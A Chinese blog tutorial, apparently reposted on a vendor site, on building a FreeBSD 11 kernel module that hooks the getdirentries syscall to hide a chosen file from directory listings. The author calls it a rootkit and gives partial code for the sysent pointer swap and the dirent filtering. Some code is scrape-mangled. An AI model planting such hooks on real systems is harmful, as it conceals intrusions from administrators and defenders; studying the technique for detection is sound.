溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何理解FreeBSD下的內(nèi)核級文件隱藏程序

發(fā)布時間:2021-11-25 14:41:06 來源:億速云 閱讀:142 作者:柒染 欄目:編程語言

如何理解FreeBSD下的內(nèi)核級文件隱藏程序,相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。

這是一個在內(nèi)核里hook來隱藏文件的程序,可以在FreeBSD 11上使用。

背景

很多情況下,我們會有這樣的需求,隱藏文件,隱藏端口,隱藏進(jìn)程等。

例如

某服務(wù)需要的關(guān)鍵性文件為了防止被攻擊,需要隱藏;

病毒為了躲避追殺,隱藏自己的文件、進(jìn)程。

這里,就如何隱藏文件,做一個簡單的hook。其它的需求,例如隱藏進(jìn)程等,思路相似,很容易就可以遷移使用。

思路

單就實現(xiàn)方法來說,有兩種比較容易想到的思路:

1. 首先請求當(dāng)前列表,再除去想要隱藏的東西,返回給上層。

這個東西可以做在用戶層,也可以做在內(nèi)核層。

共通的一點,都是使用hook的方法。

2. 直接在資源列表內(nèi)刪除該項目,再寫一個特殊的方法來訪問這個資源。

這個方法有一定的危險性,這里不作討論。

本文使用第一種方案,來達(dá)到隱藏文件的目的。

作為舉例,使用FreeBSD 11作為實現(xiàn)平臺。

如果你對FreeBSD不太熟悉,可以先看下我之前在FreeBuf寫的這篇文章。

一個FreeBSD下的通信協(xié)議監(jiān)控程序:http://www.freebuf.com/geek/179036.html:

基礎(chǔ)知識

首先,我們需要知道在系統(tǒng)內(nèi)核是怎樣處理文件列表請求的。

如果你在安裝FreeBSD時,安裝了FreeBSD源碼,那么這個函數(shù)在/usr/src/sys/kern/vfs_syscalls.c內(nèi)。

intsys_getdirentries(struct thread *td, struct getdirentries_args *uap){    long base;    int error;    error = kern_getdirentries(td, uap->fd, uap->buf, uap->count, &base,        NULL, UIO_USERSPACE);    if (error != 0)        return (error);    if (uap->basep != NULL)        error = copyout(&base, uap->basep, sizeof(long));    return (error);}intkern_getdirentries(struct thread *td, int fd, char *buf, u_int count,    long *basep, ssize_t *residp, enum uio_seg bufseg){    struct vnode *vp;    struct file *fp;    struct uio auio;    struct iovec aiov;    cap_rights_t rights;    long loff;    int error, eofflag;    off_t foffset;    AUDIT_ARG_FD(fd);    if (count > IOSIZE_MAX)        return (EINVAL);    auio.uio_resid = count;    error = getvnode(td, fd, cap_rights_init(&rights, CAP_READ), &fp);    if (error != 0)        return (error);    if ((fp->f_flag & FREAD) == 0) {        fdrop(fp, td);        return (EBADF);    }    vp = fp->f_vnode;    foffset = foffset_lock(fp, 0);unionread:    if (vp->v_type != VDIR) {        error = EINVAL;        goto fail;    }    aiov.iov_base = buf;    aiov.iov_len = count;    auio.uio_iov = &ampaiov;    auio.uio_iovcnt = 1;    auio.uio_rw = UIO_READ;    auio.uio_segflg = bufseg;    auio.uio_td = td;    vn_lock(vp, LK_SHARED | LK_RETRY);    AUDIT_ARG_VNODE1(vp);    loff = auio.uio_offset = foffset;#ifdef MAC    error = mac_vnode_check_readdir(td->td_ucred, vp);    if (error == 0)#endif        error = VOP_READDIR(vp, &auio, fp->f_cred, &eofflag, NULL,            NULL);    foffset = auio.uio_offset;    if (error != 0) {        VOP_UNLOCK(vp, 0);        goto fail;    }    if (count == auio.uio_resid &&        (vp->v_vflag & VV_ROOT) &&        (vp->v_mount->mnt_flag & MNT_UNION)) {        struct vnode *tvp = vp;        vp = vp->v_mount->mnt_vnodecovered;        VREF(vp);        fp->f_vnode = vp;        fp->f_data = vp;        foffset = 0;        vput(tvp);        goto unionread;    }    VOP_UNLOCK(vp, 0);    *basep = loff;    if (residp != NULL)        *residp = auio.uio_resid;    td->td_retval[0] = count - auio.uio_resid;fail:    foffset_unlock(fp, foffset, 0);    fdrop(fp, td);    return (error);}

內(nèi)核在收到用戶層對某個fd的getdirentries請求時,調(diào)用kern_getdirentries()返回結(jié)果。

在kern_getdirentries()內(nèi),會尋找目標(biāo)fd的vnode,然后針對這個vnode,加鎖,復(fù)制列表到iovec。

如果全部介紹vnode和iovec的話,可能會比較耗費篇幅,這里簡單的說一下。

vnode可以簡單的理解成內(nèi)核在操作文件、目錄時使用的東西。

iovec則可以看作是操作緩存。

如果對這些感興趣的話,可以在FreeBSD內(nèi)核源碼中查看具體的實現(xiàn)。

那么,經(jīng)過以上步驟,入?yún)d的目錄信息就被復(fù)制到uap->buf內(nèi)了。

這個緩存實質(zhì)上是一系列的dirent的結(jié)構(gòu)體,如果需要隱藏某個文件,把dirent里的對應(yīng)內(nèi)容刪掉就可以了。

開始干活。

具體實現(xiàn)

首先,定義一個和sys_getdirentries()一樣的函數(shù)。

static intgetdirentries_hook(struct thread *td, struct getdirentries_args *uap);

然后,寫一個載入內(nèi)核組建的載入函數(shù),在組件加載時替換函數(shù)指針,在卸載時還原。

static int
load(struct module *module, int cmd, void *arg)
{
    int error = 0;

    switch (cmd) {
    case MOD_LOAD:
        sysent[SYS_getdirentries].sy_call = (sy_call_t *)getdirentries_hook;
        break;

    case MOD_UNLOAD:
        sysent[SYS_getdirentries].sy_call = (sy_call_t *)sys_getdirentries;
        break;

    default:
        error = EOPNOTSUPP;
        break;
    }

    return(error);
}

下面就可以設(shè)計這個hook函數(shù)了。

首先理清思路。

1. 使用原始的函數(shù),獲取輸出;

2. 檢查輸出list里是否含有隱藏的文件,有則將其刪除。

在之前的kern_getdirentries()可以看到,size是存在td->td_retval[0]內(nèi)的。

所以,步驟1的實現(xiàn)應(yīng)該是,獲取返回數(shù)據(jù),檢查是否真正存在數(shù)據(jù)。

sys_getdirentries(td, uap);size = td->td_retval[0];if (size > 0) {    ...}

在確認(rèn)數(shù)據(jù)存在后,把uap->buf的數(shù)據(jù)放回內(nèi)核層,然后就可以讀取數(shù)據(jù)了。

那么進(jìn)行步驟2。

在讀取數(shù)據(jù)時,由于最后一個路徑是NULL,因此需要一個和size同樣值的緩存sum來計數(shù)。

假設(shè)在一開始指向?qū)嶋H數(shù)據(jù)區(qū)的dirent型指針為p,讀取數(shù)據(jù)的過程應(yīng)該是這樣。

loop_start:if ((p->d_reclen != 0) && (sum > 0)) {    sum -= ct->d_reclen;    ...    if (sum != 0) {        p = (struct dirent *)((char *)p + p->d_reclen);    }    goto loop_start;}
loop_end:
...

接下來,假設(shè)需要隱藏的文件叫做rochek。

對比文件名,如果對比成功,覆蓋掉。

if (strcmp((char *)&(p->d_name), "rochek") == 0) {    if (sum != 0) {    bcopy((char *)p + p->d_reclen, p, sum);    }    size -= p->d_reclen;    goto loop_end;}

最后,把緩存的size還給td->td_retval[0],再把數(shù)據(jù)復(fù)制回去,這個函數(shù)就完成了。

實際效果:

如何理解FreeBSD下的內(nèi)核級文件隱藏程序

分別為rootkit未加載,rootkit加載后,rootkit卸載后查看test目錄的結(jié)果。

這樣,就完成了一個FreeBSD下內(nèi)核級的文件隱藏程序。

使用類似思路,可以做一些其它的事情,例如隱藏進(jìn)程、隱藏端口等,這里就不做過多的討論了。

實時上,這種隱藏很容易就可以使用更加專業(yè)的檢測工具,例如ossec檢測到。

至于如何反檢測,思路和隱藏文件的思路相似,這里不做過多的討論。

看完上述內(nèi)容,你們掌握如何理解FreeBSD下的內(nèi)核級文件隱藏程序的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI